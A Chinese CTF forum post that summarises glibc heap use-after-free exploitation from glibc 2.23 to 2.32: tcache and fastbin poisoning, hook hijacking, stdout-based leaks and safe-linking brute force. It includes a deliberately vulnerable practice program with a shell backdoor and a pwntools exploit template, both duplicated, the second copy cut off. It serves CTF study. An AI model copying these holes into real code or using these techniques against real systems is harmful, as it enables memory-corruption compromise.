首页
社区
课程
招聘
[原创]新人PWN堆Heap总结UAF专场(二)
发表于: 2021-9-1 00:13 23562

[原创]新人PWN堆Heap总结UAF专场(二)

2021-9-1 00:13
23562

磕磕绊绊地写了这篇文章,水平比较差,希望各位师傅斧正。

一般来说UAF都是比较好利用的,尤其是在有tcache的版本下,2.32之前,没有对fd做任何检查,也没有对size做任何检查,那么直接改fd就能想申请哪儿就申请哪儿。但是这里就面临地址的问题,所以高版本下的UAF常常不会给你Show函数,通常结合FSOP来爆破泄露地址。而低版本的,没有tcache的时候,不给show函数会更加困难,因为fastbin attack会检查size位,通常还需要伪造。

这里就2.23~2.32版本的UAF做个总结利用,各个条件的缩减。

▲首先给出自己为了方便调试写的题和对应的exp,存在UAF,堆溢出,后门,malloc和calloc切换等多个漏洞,但是去除了Double free参考note题目:

对应exp设置:

众所周知,pwn的Glibc环境向来是一个难解题,很多大佬在编译不同版本的Glibc都很头疼,一个不注意就容易出错。像Github上的glibc-all-in-one搭配patchelf

glibc-all-in-one:matrix1001/glibc-all-in-one: A convenient glibc binary and debug file downloader and source code auto builder (github.com)

patchelf:NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables (github.com)

对于新手来说搞个虚拟机编译环境一个包没装好就容易挂掉,然后就GG,这实在是很浪费生命的一件事情。而patchelf其实有时候也不太顶用,还有Docker里的

pwnDocker:skysider/pwndocker - Docker Image | Docker Hub

其实有时候也感觉不太好用,而且需要依靠作者更新,自己编译也容易出错。但是这倒是激发了我一个想法,为每个Libc版本搭建个docker容器,然后通过映射关系将题目映射进容器中,相当于只需要容器中的libc环境,这样就不需要考虑这些东西了。

经过大量测试,自己写了一个小项目,适合所有Libc版本,只要docker hub中有对应libc版本的ubuntu容器,该容器对应的apt源还有在更新,就能用,跟自己本身环境没啥关系。实测所有版本都行,一键搭建,一键使用:

Github:PIG-007/pwnDockerAll (github.com)

Gitee:PIG-007/pwnDockerAll (gitee.com)

详情看项目里。

这种情况直接free进unsortedbin泄露地址,然后打fastbin attack,借助0x7f字节错位劫持malloc_hook即可,没啥技术含量。这里再说一些,其实0x56也是可以的,可以借助unsortedbin attack将堆地址写到一个地方然后字节错位也是可以的。

img

0x7f:0111 1111

0x56:0101 0110

主要看的是AM位,加粗的两位,不能刚好是10,检测:

(1)是否属于当前线程的main_arena

(2)是否是mmap出来的chunk的检测

所以按照道理来讲,尾数为4 5 c d四个系列不能通过检测,其他都可以的。而对于堆地址的随机性,0x56和0x55都是可能的,所以也不一定成功,同样需要爆破。

需要注意的是这里由于覆写了_IO_wide_data部分数据,有些数据可能打印不出来,直接一股脑发送信息申请堆块即可。至于one_gadget没办法用的,参照realloc_hook调整栈帧。

▲比如说size限制不能申请0x70大小的堆块,那么就没办法字节错位申请malloc_hook的地方。一般来说有以下几种情况:

(1)只能是小Chunk,即0x20~0x80:

泄露heap地址,修改FD,指向上一个chunk来修改size,释放进入unsortedbin后泄露得到libc地址,之后再借用0x7f的UAF字节错位申请即可到malloc_hook即可。

(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。

泄露地址后,直接用unsortedbin attack,修改global_max_fast,然后利用fastbinY链在main_arean上留下size,申请过去修改top_chunk为malloc_hook-0x10或者malloc_hook-0x28,修复unsortedbin之后即可任意修改。

这里就利用realloc调整了一下栈帧

(3)只能是大chunk,即0x400~...

泄露地址后,直接用unsortedbin attack,修改global_max_fast,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。

(4)只能是某个特定大小的chunk,比如只能是0x40,0x60,一般不会只能是一个大小的,不然基本无法利用。

泄露地址heap地址后,修改size位进入unsortedbin中,再泄露libc地址。由于无法0x56和0x7f字节错位利用,所以只能利用一个size的bin,释放之后在fastbinY中留下size,然后另一个size申请过去,修改top_chunk到malloc_hook处即可,之后类似。

详情参照CISCN东北赛区复现中的题目small_chunk。

▲无Leak通常需要爆破,同样用unsortedbin attack部分写unsortedbin中chunk的bk指针,修改global_max_fast,之后利用fastbinY机制劫持_IO_2_1stdout结构体,泄露出地址,然后就和之前一样,再利用fastbinY机制劫持free_hook即可。

▲通常需要注意的是,write_base和write_end不能相距太远,不然很容易数据量过大而崩溃。还有这里最后泄露地址是

libc_base = u64Leakbase(libc.sym['_IO_2_1stdout']+131)

这是因为IO流的机制,会在写入数据的0x10处上写下libc.sym['_IO_2_1stdout']+131的地址,所以这里直接就能泄露。

▲题外话:爆破的数学期望为1/256

img

▲同样size做限制一般也分为以下几种

(1)只能是小Chunk,即0x20~0x80:

这个也是一样的,利用UAF部分写入heap_addr制造堆块重叠,修改size域,放入unsortedbin,然后部分写入libc_addr打unsortedbin attack修改global_max_fast,之后就类似了,劫持_IO_2_1_stdout泄露地址,fastbinY机制劫持main_arena,修复unsortedbin后改top_chunk劫持malloc_hook即可。

(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。

类似,部分写修改size域打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址。fastbinY机制劫持free_hook。

(3)只能是大chunk,即0x400~...

直接用部分写libc_addr打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。

(4)指定的chunk size。

▲其实对于UAF来说,size做没做限制都差不了太多,因为都可以部分写堆块地址制造堆重叠,然后就能修改size域,唯一区分的就是申请时候的限制,小的就打top_chunk,大的就直接打_free_hook。比较有意思的一点就是限制特定size,一般限制为两个,以前遇到0x20和0x30,也有0x40和0x50的,都是大同小异,借用fastbinY机制留下size后申请过去即可。

UAF在这个版本下对于tcache实在是好用,由于tcache不检查size位,也不检查FD,只要泄露了地址,加上UAF就能实现任意申请。而对于无show功能的,既可以借助unsortedbin踩下地址后爆破直接申请,也可以unsortedbin attack劫持global_fast_max之后再劫持IO_2_1_stdout结构泄露地址。

需要注意的一点是,由于加入了tcache的stahing机制,所以在从fastbin中申请时会有一个判断:

这个在2.26开始就存在的,只不过可能代码不太一样,所以有tcache的地方,fastbin修改fd从而在main_arena上留下fd的功能就无法使用了)

Snipaste_2021-08-19_21-32-57

由于tcache的stashing机制,如果从fastbin中取chunk,那么如果该大小的fastbin链中还有其他chunk,则会尝试将该大小的fastbin链中剩余的chunk都放入对应大小的tcache中,那么就会出现如上的对fastbin中的fd进行取出检查,这里我设置了fastbin中Chunk的fd为0x71,即rdx的值,导致出错。

这个代码以及汇编赋值,使得[rdx+0x10],即取0x71的fd指针,那肯定会出错。同样的,如果修改fastbin中chunk的fd也不再是简单地伪造size了,还需要考虑对应FD的fd指针有效性。

虽然FD不能留下伪造地址,但是可以释放一个chunk进入fastbin,将main_arena.have_fastchunks置1,之后利用main_arena.have_fastchunks留下的0x1在上面来申请0x100的字节错位,但是这个需要先修改global_max_fast才能申请0x100的fastbinChunk。

Snipaste_2021-08-27_14-48-12

此外,借用爆破chunk地址,将top_chunk的0x56当作合法size也是可以的。

Snipaste_2021-08-27_14-42-24

但是其实也没差,既然有tcache,那我还用fastbin申请干啥,直接tcache获得地址之后任意申请不就完了,除非全是calloc,但这种情况其实还有更方便的解法,即house of banana。所以要是碰到2.27版本的,简直就是烧高香了。

现今版本,2020年09月10日开始,从2.27-3ubuntu1.3开始,就已经对tcache做了部分修改,很接近2.29的,而现在的题目基本都是基于这种增强型版本的,已经不存在double free了。

Glibc 2.27关于Tcache的增强保护 - 安全客,安全资讯平台 (anquanke.com)

新增如下:

同样的对应tcache_put会加入key字段,tcache_get中会清除key字段,_int_free函数会根据key字段判断double free。

这里讲个小技巧,如果发现题目的libc.so版本在2.27-3ubuntu1.3之下,那么就没有key字段,存在无限制的double free,直接搞定。而常规的2.28版本其实也还存在double free,查看_int_free相关源码即可发现。

具体利用和绕过后面讲。

这个没发现有啥用,传统的只有2.30开始才用到了这个,低版本连定义都没有,除了这个增强型的2.27

这就很迷惑,通常定义的tcache_count是7,而这里却要求小于MAX_TCACHE_COUNT(127),是因为GNU的其他功能可能会改变tcache的结构吗,比如将tcache_count修改为127,扩大tcache来使用吗,等待大佬发现漏洞。

另外该文章中还说了realloc对应memcpy的使用修改,感觉没啥用。

总的来说,其实就相当于将2.27的tcache增强成了2.29,其他的到没啥变化。

这个版本下的unsortedbin attck已经失效,原因是新增如下检查:

①下一个chunk的size是否在合理区间

②下一个chunk的prevsize是否等于victim的size

③检查unsortedbin双向链表的完整性

④下一个chunk的previnuse标志位是否为0

其实最要命的是检查双向链表的完整性,还得在目的地址的fd伪造victim,都能伪造地址了还用这,所以直接废弃。Tcache_Stashing_Unlink_Attack来类似代替unsortedbin attack,不过Tcache_Stashing_Unlink_Attack一般需要用到calloc,如果有UAF泄露地址的话倒是不太需要。

新增检查:

即size需要小于等于system_mems = 0x21000。之前由top_chunk引发的一系列漏洞,类似House of orange,

House of Force以及之前提到的修改top_chunk到malloc_hook附近等,都不太行了。

新增检查:

即会判断找到的之前为Free状态的chunk和当前要释放chunk的prevsize是否相等

这个对于UAF方面来说没啥影响,因为UAF本身就基本直接造成堆块重叠,而unlink通常就是结合off-by-null来制造堆块重叠的。off-by-null和off-by-one之后开一个专门的来讨论。

即会在释放chunk的bk处加入key字段,一般为heap_base+0x10,即当前线程的tcache struct的地方。释放时赋值,申请回来时置零。

重点是这里if (__glibc_unlikely (e->key == tcache)),即针对之前tcache dup做的限制,检查要释放chunk的key字段,如果等于tcache结构体地址,则遍历对于的tcache中的chunk是否和该chunk为同一个chunk,是则报错。这个好绕过,通常可以利用漏洞改掉tcache中对于chunk的bk指针即可。由于unsortedbin attack失效,而Tcache_Stashing_Unlink_Attack通常还需要结合堆溢出,UAF之类的漏洞,所以常常可以配合largebin attack来进行攻击tcache dup。

▲还有一点需要注意的是,有的2.27版本已经引入了2.29中的一些机制,刚刚提到的,比如key字段之类的,具体做题具体分析。

参考:glibc-2.29新增的保护机制学习总结 - 安全客,安全资讯平台 (anquanke.com)

Tcache stash unlink attack,很多师傅分析这个漏洞都是在2.29下开始分析,但实际上从最开始引入2.26的tcache就已经有了,只不过可能是之前的unsortedbin attack太好用,就没开发出来这个漏洞。

可以看到几乎是一样的,只有一两处:

A.2.26判断了smallbin是否为空,为空则会调用malloc_consolidate进行初始化,但是从2.27开始就没有了。这个在针对malloc_consolidate进行攻击的时候可能会用到。

B.错误打印方式不同:

这个在针对malloc_printerr也可能会用到

而这种攻击主要是针对smallbin攻击的。

但也有一种针对fastbin攻击的:

Tcache Stashing Unlink Attack利用思路 - 安全客,安全资讯平台 (anquanke.com)

这个后面再讨论下。

这个没啥好说的,直接泄露地址之后任意申请就完了。

结合之前的,小Chunk就修改size,可以放入unsortedbin就填满Tcache之后放入泄露地址后任意申请即可。

一般很多tcache的题都会对size做限制,但是其实对于tcache的UAF来说,没啥大用,都能绕过,像我下面对于0x4f8的chunk就可以利用修改size来伪造,和之前基本一致。

由于tcache没什么限制,我们可以利用unsortedbin踩下地址后,对应修改fd即可实现爆破申请_IO_2_1_stdout结构体,修改flag和部分字节写write_base,write_end来泄露地址,然后就可以任意申请了。

当然这种解法有点没效率,因为需要同时爆破Libc和heap的各半个字节,总共一个字节,总的来说数学期望为1/256。但是观察上面我们可以看到由于tcache机制,同处于0x100一个内存页下的Chunk前面的都一样,不用爆破,那么只需要修改最后一个字节即可完成tcache链表的修改,这样爆破的期望就下降到了半个字节,数学期望1/16,明显提升了很大效率,比赛时直冲一血,嘿嘿:

▲爆破题外话:之前没怎么发现,这里发现PIE+ASLR出来的Libc地址开头可能是0x7e,而且中间也有可能会出现\x00的情况,这样就很容易使得我们爆破的次数直线上涨,所以在调试好了之后,爆破会加入

来简单对抗这两种变化,防止爆破中断。

一般很多tcache的题都会对size做限制,要么小,要么大。但是其实对于tcache的UAF来说,没啥大用,都能绕过,不像fastbin一样,需要在目的地址伪造size。所以这里基本上修改一下size都可以得到对应解法,这种题目更多应该是考察堆布局的能力。需要有一个对于所有chunk进行布局的能力,最好准备草稿纸写写画画(excel也行).....

从2.30开始将从unsortebin放入largebin的代码中在size比较的其中一个分支新增检查:

即当发生从unsortedbin中转移到largbin中时,如果unsortedbin中要转移的chunk的size大于largebin中原本就有的尾部chunk的size,就会触发新增的检查。否则,则不会触发新增的检查。

而新增检查的意思其实就是检查双向链表的完整性,这和之前unsortedbin失效加入的检查如出一辙。

但是由于当size小于的时候没有检查,所以largebin attack还是可以用的,只要unsortedbin中要放入largebin中的chunk的size小于largebin中chunk的size即可,但是这里的largebin attack已经被降级,相比之前的两个地址任意写,限制只能写一个地址了。

之前版本的tcache中count一直是一个字节,这回从2.30开始就变成了两个字节:

所以tcache的结构体也从0x250扩大为0x290

在2.30版本及之后,删除了一些有关tcache的assert

以前就想着是不是能像控fastbinY溢出一样来控tcache溢出呢,但在2.29及以前肯定是不行的,因为有assert存在。就算修改了mp_.tcache_bins,成功进入tcache_put也会因为assert(tc_idx<TCACHE_MAX_BINS)的断言使得程序退出。

但是新版本删去了这个操作,那么如果我们能够修改mp_.tcache_bins,就将能够调用tcache_put函数,将tcache结构体往后溢出,就像修改global_max_fast一样,实在是有点逗,不知道为什么新版本要删掉,这个就引入了一种新的方法:glibc 2.27-2.32版本下Tcache Struct的溢出利用 - 安全客,安全资讯平台 (anquanke.com)。这个我个人还是觉得这位师傅讲的还是有点出入,因为是2.30才删去的,2.29及以前是不存在这种方法的,包括用2.29调试也是的。

从2.30开始在_libc_malloc中准备从tcache中申请时,会判断counts[tc_idx]是否大于0,不大于0则不会从tcache中申请。所以有时候我们使用直接修改fd的办法需要考虑到数量是否会被清0。但是在_int_free中却没有新增类似的检查。

这里也不需要多讲,放入unsortedbin后直接泄露地址之后任意申请就完了。

结合之前的,小Chunk就修改size,可以放入unsortedbin的就填满Tcache之后放入泄露地址后任意申请即可。

其实和2.29差不多,只是失效了一些手段,比如传统的largebin attack失效。而之前在2.29中讲到的相关方法其实也一样可以直接用上。爆破_IO_2_1_stdout泄露地址,之后任意申请修改__free_hook即可。

同样还是需要通过堆布局来修改size,制造unsortedbin chunk。

即将传入的pos右移12bit后和ptr异或。

再加上其他

等多多少少用到tcache和fastbin的地方。而unsortebin、largebin、smallbin都不会进行相关指针异或。

官方说的是

基于ASLR之后的堆地址,即Key值为第一个进入该大小TcacheBin链的chunk的地址右移12bit得到,对于Fastbin也是一样的。

Snipaste_2021-08-25_19-54-16

虽说FD被加密,但是由于是异或的关系,在UAF的特殊条件下其实是可以控制FD指向其他堆块的。

比如说我们进行一定的堆布局,尝试将堆块集中在0x100内,然后可以爆破1个字节来进行计算:

Snipaste_2021-08-25_17-50-30

这里就chunk4->chunk3->chunk2->chunk1。

这里就假设我们爆破1字节后已经知道了heapbase/0x1000左移12bit的最后一个字节为0x59。现在进行计算一下,如果我们想把chunk4的FD指向chunk1在没有Leak的情况下应该怎么修改?

计算0x10^0x59=0x49,所以如果我们利用UAF部分写chunk4的FD的第一个字节为0x49,那么实际上其实指向的就是chunk1。这个在没有泄露地址而Size又做限制导致只能用Fastbin和Tcache时,可以采用这种方法爆破。所以实际上的期望应该是1/256,这个尝试一下应该就可以实现的。

可以看到在tcache_get中新增了一个检查

这个导致了我们的tcache不能任意申请了,必须是0x10对齐的,这个可能会导致不少的手段变化。

即当程序退出,释放tcache结构体时会加入对tcache中所有chunk进行地址对齐检查,但是这个对exit()的攻击没什么影响。

当tcache进行Free的double free检查时,如果tcache中第一个bin的chunk地址不对齐,也会错误。其实最开始不太理解,想这能有啥用,最开始Free的时候不就已经进行地址对齐检查了吗。后面想到由于stashing机制,可能会将地址不合法的Chunk放入到tcache中,所以再进行对应Bin大小的chunk释放时,进行检查提高安全性吧。这个我们在利用的时候也需要注意下,别到时候得到了用Stashing机制放入一个不合法chunk之后再free导致程序出错了。

想感叹一下,在2.31及以下版本,只有在_int_free函数中才有一个地址对齐检查,这2.32突然加了好几个,真是挺猛的。

这个如上图中就可以直接leak出chunk1的内容得到key,然后释放unsortedbin chunk泄露libc地址后,利用key异或对应地址即可任意申请。

一样的,Leak出key之后,修改size得到unsortedbin chunk之后泄露libc地址,异或改掉FD任意申请chunk。

这条件下的想半天实在没想出来,爆破两个字节倒是可以申请到Tcache结构体,但是两个字节的期望却达到了0xffff=65535,实际的线上CTF中可能爆出来黄花菜都凉了。

▲爆破两字节申请Tcache Struct:

比如我们先爆破一个字节,使得heapbase的地址为0xabcde5500000

然后我们按照上述方法,用一定堆布局,计算一下地址

异或之后的地址应该为:

那么就可以直接该指向chunk1地址的最后两个字节为5500即可指向Tcache结构体,然后释放进入unsortedbin踩下libc地址再爆破申请stdout泄露地址,这样又会出来半个字节爆破空间。即0xfffff=1048575,直接GG。

▲size做限制其实没差别,可以爆破一个字节来修改的。

这次总结堆利用方法让我也学到了好多,翻了好多源码,很多以前不明所以的东西翻了相关源码之后感觉一下子就清楚了。

这篇文章持续更新,以后再发现有意思的地方再回来更新。

当然,UAF其实是特别好利用的一种,高版本下也对应有很多的骚操作,比如

house of pig :house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)

house of banana :house of banana - 安全客,安全资讯平台 (anquanke.com)

等等现在大多的题目都是off by null + 堆布局,尤其是堆布局这一块,实在是无比考验对堆的理解,因为万一其中哪个地方想错,直接就得推倒重来。

后面找时间再总结下off by null吧。

 
//gcc -ggdb note.c -o note
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char* notelist[1000];
int* freelist[1000];
 
int count = 0;
 
 
void backdoor() {
   puts("You hacked me!!");
   system("/bin/sh");
}
 
void malloc_add_note(){
    int i = count;
    char buf[8];
    int size;
    char* chunk;
    printf("Note size :");
    read(0, buf, 8);
    size = atoi(buf);
    chunk = (char *)malloc(size);
    if (!chunk)
    {
        puts("Alloca Error");
        exit(-1);
    }
    printf("Content :");
    read(0, chunk, size);
    puts("Success!");
    notelist[i] = chunk;
    count++;
}
 
void calloc_add_note(){
    int i = count;
    char buf[8];
    int size;
    char* chunk;
    printf("Note size :");
    read(0, buf, 8);
    size = atoi(buf);
    chunk = (char *)calloc(0x1,size);
    if (!chunk)
    {
        puts("Alloca Error");
        exit(-1);
    }
    printf("Content :");
    read(0, chunk, size);
    puts("Success!");
    notelist[i] = chunk;
    count++;
}
 
void del_note()
{
    char buf[4];
    int idx;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= count)
    {
        puts("Out of bound!");
        return;
    }
    if (notelist[idx] && (freelist[idx] != idx))
    {
        free(notelist[idx]);
        freelist[idx] = idx;
        puts("Success!");
        return;
    }
    else
    {
        puts("Can not double free!");
        return;
 
 
    }
 
}
 
void print_note()
{
    char buf[4];
    int idx;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= count)
    {
        puts("Out of bound!");
        return;
    }
    if (notelist[idx])
    {
        puts(notelist[idx]);
        return;
    }
}
 
void edit_note()
{
    char buf[8];
    int idx;
    int size;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= count)
    {
        puts("Out of bound!");
        return;
    }
    printf("Size :");
    read(0, buf, 8);
    size = atoi(buf);
    if (notelist[idx])
    {
        printf("Content :");
        read(0, notelist[idx], size);
        puts("Success!");
        return;
    }
}
 
 
void menu() {
    puts("----------------------");
    puts("       MY  NOTE       ");
    puts("----------------------");
    puts(" 1. Malloc Add note   ");
    puts(" 2. Delete note       ");
    puts(" 3. Print note        ");
    puts(" 4. Edit note         ");
    puts(" 5. Calloc Add note   ");
    puts(" 6. Exit              ");
    puts("--------Author:PIG-007");
    printf("Your choice :");
};
 
int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    freelist[0] = 1001;
    char* heap_leak = (char*)(malloc(0x438));
    printf("Gift_Heap:%p\n",heap_leak);
 
    char* libc_leak = (char*)&printf;
    printf("Gift_Libc:%p\n",libc_leak);
 
    char* elf_leak = (char*)&main;
    printf("Gift_elf:%p\n",elf_leak);
 
    free(heap_leak);
    heap_leak = NULL;
    libc_leak = NULL;
    elf_leak = NULL;
    char buf[4];
    while (1) {
        menu();
        read(0, buf, 4);
        switch(atoi(buf))
        {
            case 1:
                malloc_add_note();
                break;
            case 2:
                del_note();
                break;
            case 3:
                print_note();
                break;
            case 4:
                edit_note();
                break;
            case 5:
                calloc_add_note();
                break;
            case 6:
                exit(0);
                break;
            default:
                puts("Invalid choice!");
                break;
        }
    }
    return 0;
 
}
//gcc -ggdb note.c -o note
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char* notelist[1000];
int* freelist[1000];
 
int count = 0;
 
 
void backdoor() {
   puts("You hacked me!!");
   system("/bin/sh");
}
 
void malloc_add_note(){
    int i = count;
    char buf[8];
    int size;
    char* chunk;
    printf("Note size :");
    read(0, buf, 8);
    size = atoi(buf);
    chunk = (char *)malloc(size);
    if (!chunk)
    {
        puts("Alloca Error");
        exit(-1);
    }
    printf("Content :");
    read(0, chunk, size);
    puts("Success!");
    notelist[i] = chunk;
    count++;
}
 
void calloc_add_note(){
    int i = count;
    char buf[8];
    int size;
    char* chunk;
    printf("Note size :");
    read(0, buf, 8);
    size = atoi(buf);
    chunk = (char *)calloc(0x1,size);
    if (!chunk)
    {
        puts("Alloca Error");
        exit(-1);
    }
    printf("Content :");
    read(0, chunk, size);
    puts("Success!");
    notelist[i] = chunk;
    count++;
}
 
void del_note()
{
    char buf[4];
    int idx;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= count)
    {
        puts("Out of bound!");
        return;
    }
    if (notelist[idx] && (freelist[idx] != idx))
    {
        free(notelist[idx]);
        freelist[idx] = idx;
        puts("Success!");
        return;
    }
    else
    {
        puts("Can not double free!");
        return;
 
 
    }
 
}
 
void print_note()
{
    char buf[4];
    int idx;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= count)
    {
        puts("Out of bound!");
        return;
    }
    if (notelist[idx])
    {
        puts(notelist[idx]);
        return;
    }
}
 
void edit_note()
{
    char buf[8];
    int idx;
    int size;
    printf("Index :");
    read(0, buf, 4);
    idx = atoi(buf);
    if (idx < 0 || idx >= count)
    {
        puts("Out of bound!");
        return;
    }
    printf("Size :");
    read(0, buf, 8);
    size = atoi(buf);
    if (notelist[idx])
    {
        printf("Content :");
        read(0, notelist[idx], size);
        puts("Success!");
        return;
    }
}
 
 
void menu() {
    puts("----------------------");
    puts("       MY  NOTE       ");
    puts("----------------------");
    puts(" 1. Malloc Add note   ");
    puts(" 2. Delete note       ");
    puts(" 3. Print note        ");
    puts(" 4. Edit note         ");
    puts(" 5. Calloc Add note   ");
    puts(" 6. Exit              ");
    puts("--------Author:PIG-007");
    printf("Your choice :");
};
 
int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    freelist[0] = 1001;
    char* heap_leak = (char*)(malloc(0x438));
    printf("Gift_Heap:%p\n",heap_leak);
 
    char* libc_leak = (char*)&printf;
    printf("Gift_Libc:%p\n",libc_leak);
 
    char* elf_leak = (char*)&main;
    printf("Gift_elf:%p\n",elf_leak);
 
    free(heap_leak);
    heap_leak = NULL;
    libc_leak = NULL;
    elf_leak = NULL;
    char buf[4];
    while (1) {
        menu();
        read(0, buf, 4);
        switch(atoi(buf))
        {
            case 1:
                malloc_add_note();
                break;
            case 2:
                del_note();
                break;
            case 3:
                print_note();
                break;
            case 4:
                edit_note();
                break;
            case 5:
                calloc_add_note();
                break;
            case 6:
                exit(0);
                break;
            default:
                puts("Invalid choice!");
                break;
        }
    }
    return 0;
 
}
# -*- coding:UTF-8 -*-
 
from pwn import *
#from LibcSearcher import *
import commands
#context.log_level = 'debug'
 
#context
context.arch = 'amd64'
context.timeout = 0.5
SigreturnFrame(kernel = 'amd64')
 
binary = "./note"
context.binary = binary
libc = ELF(context.binary.libc.path)
elf = ELF(binary)
largeBinIdx = 1096
unsortedBinIdx = 88
 
 
 
local = 1
if local:
    p = process(binary)
    #p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
else:
    p = remote("node3.buuoj.cn","49153")
    elf = ELF(binary)
    libc = ELF(libc_file)
 
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s) 
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it      = lambda                    :p.interactive()
 
def dockerDbg():
    myGdb = remote("127.0.0.1",30001)
    myGdb.close()
    pause()
 
def dbg():
    gdb.attach(p)
    pause()
 
def lg(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
 
def add_malloc(size,content):
    p.sendlineafter("Your choice :",'1')
    p.sendlineafter('Note size :',str(size))
    p.sendafter('Content :',content)
 
def free(idx):
    p.sendlineafter("Your choice :",'2')
    p.sendlineafter('Index :',str(idx))
 
def show(idx):
    p.sendlineafter("Your choice :",'3')
    p.sendlineafter('Index :',str(idx))
 
def edit(idx,size,content):
    p.sendlineafter("Your choice :",'4')
    p.sendlineafter('Index :',str(idx))
    p.sendlineafter('Size :',str(size))
    p.sendafter('Content :',content)   
 
def add_calloc(size,content):
    p.sendlineafter("Your choice :",'5')
    p.sendlineafter('Note size :',str(size))
    p.sendafter('Content :',content)
 
def exit():
    p.sendlineafter("Your choice :",'6')
 
def edit_m(idx,size,content):
    sleep(0.01)
    p.sendline('4')
    sleep(0.01)
    p.sendline(str(idx))
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)
    sleep(0.01)
 
def free_m(idx):
    sleep(0.01)
    p.sendline('2')
    sleep(0.01)
    p.sendline(str(idx))
    sleep(0.01)
 
def add_malloc_m(size,content):
    sleep(0.01)
    p.sendline('1')
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)
    sleep(0.01)
 
def tcacheDelete(idx):
    for i in range(7):
        free(i+idx)
 
def tcacheMalloc(size):
    for i in range(7):
        add_malloc(size,'\x00')
 
def leak_heap():
    global largeBinIdx
    global unsortedBinIdx
    ru("Gift_Heap:0x")
    LeakHeap = int(rc(12),16)
    log.info("LeakHeap:0x%x"%LeakHeap)
    path = libc.path
    #version = ["2.23","2.27","2.29","2.31","2.32","2.33"]
    if("2.23" in path):
        heap_base = LeakHeap - 0x10
    elif("2.24" in path):
        heap_base = LeakHeap - 0x10
    elif("2.25" in path):
        heap_base = LeakHeap - 0x10
    elif("2.26" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.27" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.28" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.29" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.30" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.31" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.32" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.33" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    else:
        print("Version Wrong!")
        quit()
    return heap_base
 
def leak_elf():
    ru("Gift_elf:0x")
    Leak = int(rc(12),16)
    log.info("LeakElf:0x%x"%Leak)
    return Leak
 
def leak_libc():
    ru("Gift_Libc:0x")
    Leak = int(rc(12),16)
    log.info("LeakLibc:0x%x"%Leak)
    return Leak
 
def getMain_arena(libc_base):
    return libc_base+libc.sym['__malloc_hook']+0x10
 
def getOnegadget():
    originStr=commands.getstatusoutput('one_gadget ' + context.binary.libc.path)[1]
    print originStr
    one_gadget = []
    lstKey = []
    lengthKey = 0
    key = 'execve'
    countStr = originStr.count(key)
    if countStr < 1:
        print('No one_gadget')
    elif countStr == 1: #only one one_gadget
        indexKey = originStr.find(key)
        one_gadget.append(int(originStr[indexKey-8:indexKey-1],16))
        return one_gadget
    else: #multiple one_gadgey
        indexKey = originStr.find(key)
        lstKey.append(indexKey)
        while countStr > 1:
            str_new = originStr[indexKey+1:len(originStr)+1]
            indexKey_new = str_new.find(key)
            indexKey = indexKey+1 +indexKey_new
            lstKey.append(indexKey)
            countStr -= 1
        for i in range(len(lstKey)):
            one_gadget.append(int(originStr[(lstKey[i]-8):lstKey[i]-1],16))
        return one_gadget
 
 
def pwn():
    heap_base = leak_heap()
    libc_base = leak_libc() - libc.sym['printf']
    elf_base = leak_elf() - elf.sym['main']
    log.info("heap_base:0x%x"%heap_base)
    log.info("libc_base:0x%x"%libc_base)
    log.info("elf_base:0x%x"%elf_base)
    add_malloc(0x1000-0x290-0x8,'PIG007NB')
 
 
 
i = 0
while True:
    i = i + 1
    try:
        p = process("./note")
        lg("Times:",i)
        pwn()
    except EOFError:
        p.close()
        continue
    except Exception:
        p.close()
        continue
    else:
        p.interactive()
        break
# -*- coding:UTF-8 -*-
 
from pwn import *
#from LibcSearcher import *
import commands
#context.log_level = 'debug'
 
#context
